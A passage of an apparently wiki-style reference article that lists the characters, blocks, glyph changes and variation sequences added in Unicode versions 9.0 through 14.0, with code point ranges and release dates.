* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
